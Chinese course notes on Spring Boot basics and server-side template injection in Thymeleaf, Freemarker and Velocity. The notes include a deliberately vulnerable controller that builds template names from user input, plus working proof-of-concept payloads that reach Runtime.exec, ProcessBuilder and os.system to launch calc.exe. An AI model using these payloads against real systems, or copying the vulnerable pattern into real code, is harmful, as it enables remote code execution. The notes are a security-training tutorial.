第49天:Web开发-JavaEE应用&SpringBoot栈&模版注入&Thymeleaf&Freemarker&Velocity

#知识点
1、安全开发-JavaEE-开发框架-SpringBoot&路由&传参

2、安全开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity
一、开发框架-SpringBoot

参考:https://springdoc.cn/spring-boot/

访问SpringBoot创建的网站

1、路由映射

@RequestMapping @GetMapping@PostMapping等

访问路由地址

为get,post请求设置路由

get请求

post请求

2、参数传递

@RequestParam

复制代码
//GET请求并传递参数
复制代码
//Post请求并传递参数

3、数据响应

@RestController @Controller

@RestController注解相当于@ResponseBody+@Controller合作用。

二、模版引擎->Thymeleaf

参考:https://xz.aliyun.com/news/9962

1、新建SpringBoot项目包含Web,Thymeleaf

2、配置application.properties修改缓存为false

3、创建模版目录和文件,文件定义修改变量

创建模板文件文件index.html,并谷歌访问

4、新建Controller目录及文件,指定路由配置

访问

5、更换SpringBoot及Thymeleaf版本测试POC

@Controller

public class IndexController {

@RequestMapping("/index")

public String index(Model model) {

//替换模版html文件中的data变量值

model.addAttribute("data", "你好 小迪");

//使用index模版文件

return "index";

}

@RequestMapping("/indexs")

public String index(Model model,@RequestParam String lang) {

//替换模版html文件中的data变量值

model.addAttribute("data", "Hello xiaodi");

//使用index+变量lang模版文件

return "index-"+lang;

}

}

访问英文

访问中文

利用条件:Thymeleaf漏洞版本,可控模版变量lang->可以控制调用哪个模板

Poc利用命令如下:

$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d::.x->lang参数

三、Freemarker

参考:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew

1、新建SpringBoot项目包含Web,Freemarker

2、配置application.properties修改缓存

3、创建模版目录和文件,文件定义修改变量

4、新建Controller目录及文件,指定路由配置

5、更换SpringBoot及Freemarker版本测试POC->特别注意:这个poc要放在渲染文件中才行->通过上面的username变量传参poc(不会引起poc执行)

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签

利用条件:可控渲染的模版文件(其实就是该模板的功能上有漏洞,导致上面的poc放到文件里面可以执行RCE),不受该模板版本的影响

四、Velocity

参考:https://blog.csdn.net/2401_83799022/article/details/141600988

<dependency>

<groupId>org.apache.velocity</groupId>

<artifactId>velocity</artifactId>

<version>1.7</version>

</dependency>

1、Velocity.evaluate

2、template.merge(ctx, out)

Poc利用:

%23set(e%3D"e")e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

利用条件:Velocity漏洞版本(出现在特点的版本),可控模版变量或文件,如上面的username参数可控

相关推荐
CoderYanger6 分钟前
Java EE 进阶:15. Linux基本使用和程序部署(第二弹):部署 Web 项目到 Linux
linux·服务器·数据库·spring boot·spring·阿里云·java-ee
程序员小杰@24 分钟前
SpringBoot + SpringCloudAlibaba 日志 & 链路追踪 完整总结
java·spring boot·后端
OpenTiny社区34 分钟前
当 AI 开始写 UI,我们缺的不是模型,是"设计词汇"
前端·github·ai编程
Amos_Web1 小时前
Rspack 源码解析(三十八):SubresourceIntegrityPlugin 如何跨四个插件协作生成 integrity
前端
Amos_Web2 小时前
通过 Rspack 源码学 Rust(八):struct 保存数据,impl 定义怎样使用数据
前端
anyup2 小时前
2027 年初,uni-app App 端停更倒计时,老项目该何去何从?
前端·vue.js·uni-app
IT研究室3 小时前
最新计算机毕业设计选题推荐-基于spring boot的房屋交易系统-网站-文档指导-Java-springboot
java·spring boot·课程设计
RuoyiOffice3 小时前
Java物联网项目拆解:设备接入之后,数据怎样真正用起来
java·vue.js·spring boot·物联网·iot·企业管理·ruoyi office
JudithHuang3 小时前
Vue3 Vitest 单元测试进阶
前端·单元测试·log4j·vue
费曼学习法4 小时前
把 Agent 可观测性做进 Harness:从日志里只有 task finished 到全链路回放
前端